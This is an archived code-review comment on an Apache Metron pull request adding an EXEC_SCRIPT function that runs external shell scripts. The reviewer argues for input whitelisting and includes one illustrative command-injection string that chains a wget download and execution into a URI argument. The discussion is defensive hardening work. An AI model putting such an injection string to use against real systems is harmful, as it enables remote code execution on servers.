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From JonZeolla <...@git.apache.org>
Subject [GitHub] incubator-metron pull request #439: add stellar external functions feature (...
Date Sun, 05 Feb 2017 02:11:46 GMT
Github user JonZeolla commented on a diff in the pull request:

    https://github.com/apache/incubator-metron/pull/439#discussion_r99479668
  
    --- Diff: metron-platform/metron-common/src/main/java/org/apache/metron/common/dsl/ExternalFunctions.java
---
    @@ -0,0 +1,292 @@
    +/**
    + * Licensed to the Apache Software Foundation (ASF) under one
    + * or more contributor license agreements.  See the NOTICE file
    + * distributed with this work for additional information
    + * regarding copyright ownership.  The ASF licenses this file
    + * to you under the Apache License, Version 2.0 (the
    + * "License"); you may not use this file except in compliance
    + * with the License.  You may obtain a copy of the License at
    + *
    + *     http://www.apache.org/licenses/LICENSE-2.0
    + *
    + * Unless required by applicable law or agreed to in writing, software
    + * distributed under the License is distributed on an "AS IS" BASIS,
    + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    + * See the License for the specific language governing permissions and
    + * limitations under the License.
    + */
    +package org.apache.metron.common.dsl.functions;
    +
    +import java.io.BufferedReader;
    +import java.io.File;
    +import java.io.IOException;
    +import java.io.InputStream;
    +import java.io.InputStreamReader;
    +import java.io.OutputStream;
    +import java.io.PrintWriter;
    +import java.util.List;
    +import java.lang.ProcessBuilder;
    +import java.lang.ClassLoader;
    +import java.lang.reflect.Method;
    +import java.util.Map;
    +import java.util.regex.Pattern;
    +import com.google.common.base.Joiner;
    +import com.google.common.base.Splitter;
    +import com.google.common.collect.Iterables;
    +import org.apache.metron.common.dsl.Context;
    +import org.apache.metron.common.dsl.StellarFunction;
    +import org.apache.metron.common.dsl.ParseException;
    +import org.apache.metron.common.dsl.Stellar;
    +
    +/**
    + * Executes external script on server via stellar process
    + */
    +public class ExternalFunctions {
    +
    +	public static class ExecuteScript implements StellarFunction {
    +
    +        private ThreadedStreamHandler inStream;
    +        private ThreadedStreamHandler errStream;
    +        private boolean isOnTheList = false;
    +
    +        @Stellar(name="EXEC_SCRIPT",
    +                description = "Executes an external shell function via stellar.",
    +                params = {
    +                        "exec - the executing cmd (ie. bash, sh, python)",
    +                        "name - name of the script, located in /scripts " +
    +                                "Do NOT include any special chars except(_), Do include
file extension"
    +                },
    +                returns = "the return value of the function"
    +        )
    +
    +	    @Override
    +        public Object apply(List<Object> args, Context context) throws ParseException
{
    +            String exec = "";
    +            String name = "";
    +            String path = "";
    +
    +            // if args are provided, get args, only if in whitelist
    +            if (args.size() >= 1) {
    +                Object execObj = args.get(0);
    +                if (!(execObj instanceof String)) { //check if string
    +                    return null;
    +                }
    +                else if (((String) execObj).length() > 0) {
    +                    exec = (String) execObj;
    +                }
    +                else {
    +                    return null;
    +                }
    +
    +                Object nameObj = args.get(1);
    +                if (!(nameObj instanceof String)) { //check if string
    +                    return null;
    +                }
    +                else if (((String) nameObj).length() > 0) {
    +                    name = (String) nameObj;
    +                }
    +                else {
    +                    return null;
    +                }
    +
    +                if (!Pattern.matches("[0-9A-Za-z.]+", name)) {
    +                    return null; //if not on whitelist
    +                }
    --- End diff --
    
    This was in response to a comment that I made where I requested we sanitize our inputs
by whitelisting reasonable characters.  Because a user may want to pass arbitrary information
from/about the tuple, such as a URI, as an argument to a script I want to avoid an attacker
choosing to go to a URI that could be interpreted as `somethinghere&&wget badness&&/execute/badness#ignore
everything else`.  Not a perfect example, but it shows the idea.
    
    Once the JIRA is back up I posted links to a few best practice suggestions with code examples
that show exactly what I was thinking.
    
    I totally agree that there needs to be strong controls around the directory where any
scripts are held, and we need to be sure to run the script with minimal permissions, among
other things.


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